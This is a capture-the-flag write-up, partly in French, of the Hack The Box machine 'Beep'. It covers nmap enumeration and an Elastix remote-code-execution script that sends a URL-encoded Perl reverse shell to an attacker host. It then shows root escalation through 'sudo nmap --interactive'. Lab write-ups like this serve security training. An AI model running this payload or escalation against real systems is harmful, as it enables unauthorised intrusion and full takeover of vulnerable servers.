Hack The Box

HTB | Beep

Beep has a very large list of running services, which can make it a bit challenging to find the correct entry method. This machine can be overwhelming for some as there are many potential attack vectors. Luckily, there are several methods available for gaining access.

Beep cover
Machine nameOSIPDifficulty
BeepLinux10.10.10.7Easy

Enumeration

nmap

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┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sC -sV -An -vvv -T4 10.10.10.7
PORT      STATE SERVICE    REASON         VERSION
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI04jN+Sn7/9f2k+5UteAWn8KKj3FRGuF4LyeDmo/xxuHgSsdCjYuWtNS8m7stqgNH5edUu8vZ0pzF/quX5kphWg/UOz9weGeGyzde5lfb8epRlTQ2kfbP00l+kq9ztuWaXOsZQGcSR9iKE4lLRJhRCLYPaEbuxKnYz4WhAv4yD5AAAAFQDXgQ9BbvoxeDahe/ksAac2ECqflwAAAIEAiGdIue6mgTfdz/HikSp8DB6SkVh4xjpTTZE8L/HOVpTUYtFYKYj9eG0W1WYo+lGg6SveATlp3EE/7Y6BqdtJNm0RfR8kihoqSL0VzKT7myerJWmP2EavMRPjkbXw32fVBdCGjBqMgDl/QSEn2NNDu8OAyQUVBEHrE4xPGI825qgAAACANnqx2XdVmY8agjD7eFLmS+EovCIRz2+iE+5chaljGD/27OgpGcjdZNN+xm85PPFjUKJQuWmwMVTQRdza6TSp9vvQAgFh3bUtTV3dzDCuoR1D2Ybj9p/bMPnyw62jgBPxj5lVd27LTBi8IAH2fZnct7794Y3Ge+5r4Pm8Qbrpy68=
|   2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4SXumrUtyO/pcRLwmvnF25NG/ozHsxSVNRmTwEf7AYubgpAo4aUuvhZXg5iymwTcZd6vm46Y+TX39NQV/yT6ilAEtLbrj1PLjJl+UTS8HDIKl6QgIb1b3vuEjbVjDj1LTq0Puzx52Es0/86WJNRVwh4c9vN8MtYteMb/dE2Azk0SQMtpBP+4Lul4kQrNwl/qjg+lQ7XE+NU7Va22dpEjLv/TjHAKImQu2EqPsC99sePp8PP5LdNbda6KHsSrZXnK9hqpxnwattPHT19D94NHVmMHfea9gXN3NCI3NVfDHQsxhqVtR/LiZzpbKHldFU0lfZYH1aTdBfxvMLrVhasZcw==
25/tcp    open  smtp       syn-ack ttl 63 Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3       syn-ack ttl 63 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: RESP-CODES TOP APOP LOGIN-DELAY(0) USER PIPELINING IMPLEMENTATION(Cyrus POP3 server v2) STLS AUTH-RESP-CODE UIDL EXPIRE(NEVER)
111/tcp   open  rpcbind    syn-ack ttl 63 2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            790/udp   status
|_  100024  1            793/tcp   status
143/tcp   open  imap       syn-ack ttl 63 Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed MAILBOX-REFERRALS IMAP4 RIGHTS=kxte QUOTA OK ANNOTATEMORE BINARY SORT=MODSEQ X-NETSCAPE LIST-SUBSCRIBED UIDPLUS LISTEXT IMAP4rev1 CHILDREN STARTTLS IDLE NAMESPACE SORT CONDSTORE ID ACL CATENATE NO RENAME THREAD=REFERENCES LITERAL+ URLAUTHA0001 MULTIAPPEND THREAD=ORDEREDSUBJECT ATOMIC UNSELECT
443/tcp   open  ssl/http   syn-ack ttl 63 Apache httpd 2.2.3 ((CentOS))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
|_http-favicon: Unknown favicon MD5: 80DCC71362B27C7D0E608B0890C05E9F
|_ssl-date: 2025-01-20T14:02:51+00:00; +7m26s from scanner time.
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity/emailAddress=root@localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity/emailAddress=root@localhost.localdomain
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-04-07T08:22:08
| Not valid after:  2018-04-07T08:22:08
| MD5:   621a:82b6:cf7e:1afa:5284:1c91:60c8:fbc8
| SHA-1: 800a:c6e7:065e:1198:0187:c452:0d9b:18ef:e557:a09f
| -----BEGIN CERTIFICATE-----
| MIIEDjCCA3egAwIBAgICfVUwDQYJKoZIhvcNAQEFBQAwgbsxCzAJBgNVBAYTAi0t
| MRIwEAYDVQQIEwlTb21lU3RhdGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQK
| ExBTb21lT3JnYW5pemF0aW9uMR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uY...
|_-----END CERTIFICATE-----
993/tcp   open  ssl/imap   syn-ack ttl 63 Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp   open  pop3       syn-ack ttl 63 Cyrus pop3d
3306/tcp  open  mysql      syn-ack ttl 63 MySQL (unauthorized)
4445/tcp  open  upnotifyp? syn-ack ttl 63
10000/tcp open  http       syn-ack ttl 63 MiniServ 1.570 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 74F7F6F633A027FA3EA36F05004C9341
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Foothold

Elastix - RCE

On trouve une exploit sur github sur Elastix. Dans le code fournit par searchsploit, l’extension utilisé pour faire un call sur le php est “1000”. Il fallait retrouver que la bonne extension est “233” pour cette machine. Pour les autres valeurs, le call ne fonctionne pas et renvoie une erreur. Ensuite, on peut exploiter la RCE.

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$ cat final_exploit.py 
#exploit modified by infosecjunky
#https://infosecjunky.com

import urllib2
import ssl

rhost="10.10.10.7"
lhost="10.10.16.2"
lport=1337
extension="233"


ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib2.urlopen(url,context=ctx)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Privilege Escalation

nmap as root

Sur : https://gtfobins.github.io/gtfobins/nmap/

On trouve comment exploiter les droits root sur la commande nmap pour obtenir un shell privilégié.

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sudo -l
Matching Defaults entries for asterisk on this host:
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
    LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY"

User asterisk may run the following commands on this host:
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper

sudo /usr/bin/nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh

whoami
root

cat /root/root.txt
19d01.....0b5f

cat /home/*/user.txt
c3a2.....2248
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